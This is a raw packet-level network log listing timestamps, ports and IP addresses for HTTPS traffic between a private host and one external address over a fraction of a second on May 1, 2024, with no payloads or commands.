May 1, 2024 08:37:54.531692028 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.531744957 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.531758070 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.531785011 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.531800032 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.531840086 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.531840086 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.531843901 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.531863928 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.531879902 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.532216072 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.532233000 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.532269955 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.532274008 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.532310009 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.532334089 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.532717943 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.532732010 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.532766104 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.532777071 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.532799959 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.532818079 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.532918930 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.532933950 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.532972097 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.532975912 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.533003092 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.533018112 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.533103943 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.533118963 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.533160925 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.533166885 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.533205032 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.533732891 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.533747911 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.533785105 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.533795118 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.533830881 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.533830881 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.533974886 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.533989906 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.534032106 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.534035921 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.534043074 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.534055948 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.534071922 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.534075975 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.534118891 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.534584045 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.534605026 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.534645081 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.534651995 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.534666061 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.534686089 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.534796953 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.534811020 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.534840107 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.534843922 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.534869909 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.534884930 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.535442114 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.535456896 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.535496950 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.535501957 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.535531044 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.535590887 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.535826921 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.535840988 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.535872936 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.535876036 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.535906076 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.535924911 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.536180973 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.536194086 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.536237001 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.536241055 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.536277056 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.536381006 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.536398888 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.536432981 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.536442041 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.536463022 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.536477089 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.537009001 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.537024021 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.537060022 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.537064075 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.537095070 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.537393093 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.537410021 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.537445068 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.537453890 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.537467003 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.537487984 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.537724972 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.537740946 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.537772894 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.537775993 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.537801981 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.537817955 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.538054943 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.538069010 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.538165092 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.538167953 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.538204908 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.538367033 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.538382053 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.538414955 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.538420916 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.538446903 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.538459063 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.538763046 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.538777113 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.538814068 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.538816929 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.538841963 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.538858891 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.538992882 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.539010048 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.539037943 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.539041996 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.539081097 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.539345026 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.539361954 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.539407015 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.539414883 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.539453983 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.539910078 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.539927006 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.539977074 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.539980888 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.540018082 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.540163040 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.540183067 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.540213108 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.540215969 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.540247917 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.540864944 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.540879965 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.540927887 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.540931940 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.540966034 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.541145086 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.541158915 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.541207075 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.541209936 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.541244030 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.541410923 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.541440010 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.541491985 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.541507006 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.541575909 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.541949987 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.541969061 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.542000055 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.542002916 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.542031050 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.542046070 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.542351007 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.542365074 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.542412996 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.542416096 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.542427063 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.542443037 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.542448997 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.542493105 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.542503119 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.542521000 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.542541027 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.542645931 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.542695999 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.542699099 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.542716980 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.542763948 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.543020010 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.543035984 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.543067932 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.543076992 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.543096066 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.543111086 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.543409109 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.543982983 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.543998957 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.544045925 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.544059992 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.544194937 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.545666933 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.545681000 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.545723915 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.545733929 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.545758963 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.545775890 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.546663046 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.546678066 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.546720028 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.546730042 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.546753883 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.546771049 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.547581911 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.547605038 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.547636986 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.547643900 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.547669888 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.547687054 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.549326897 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.549348116 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.549402952 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.549413919 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.549427986 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.549458027 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.550260067 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.550273895 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.550318956 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.550362110 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.550367117 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.550412893 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.551213026 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.551229000 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.551276922 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.551284075 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.551304102 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.551323891 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.552242041 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.552259922 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.552294970 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.552303076 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.552329063 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.552342892 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.553177118 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.553193092 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.553246021 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.553252935 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.553459883 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.554215908 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.554231882 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.554286957 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.554295063 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.554341078 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.555521965 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.555536032 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.555578947 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.555587053 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.555613041 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.555639029 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.556583881 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.556600094 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.556651115 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.556658030 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.556746006 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.557550907 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.557566881 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.557601929 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.557607889 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.557641029 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.557660103 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.558573008 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.558592081 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.558641911 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.558648109 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.558676958 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.558690071 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.559417963 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.559433937 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.559485912 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.559511900 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.559536934 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.559588909 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.560436010 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.560453892 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.560497999 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.560513020 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.560539961 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.560559988 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.561290979 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.561309099 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.561356068 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.561367989 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.561568975 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.562242985 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.562268972 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.562300920 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.562310934 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.562341928 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.562356949 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.563247919 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.563266993 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.563308954 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.563318968 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.563347101 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.563363075 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.564075947 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.564091921 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.564146996 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.564160109 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.564239025 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.565017939 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.565033913 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.565090895 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.565103054 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.565174103 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.565998077 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.566015005 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.566073895 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.566091061 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.566114902 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.566140890 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.566807032 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.566823006 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.566886902 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.566899061 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.566926003 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.566975117 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.567770958 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.567786932 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.567833900 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.567846060 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.567889929 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.567890882 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.568738937 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.568756104 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.568831921 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.568840027 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.568916082 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.569708109 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.569725037 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.569776058 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.569782972 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.569813967 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.570565939 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.570580959 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.570643902 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.570652008 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.570780039 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.571475983 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.571490049 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.571532011 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.571540117 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.571558952 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.571583033 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.572263002 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.572279930 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.572329998 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.572338104 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.572422028 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.573316097 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.573331118 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.573375940 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.573381901 CEST	443	49752	172.67.215.45	192.168.2.4
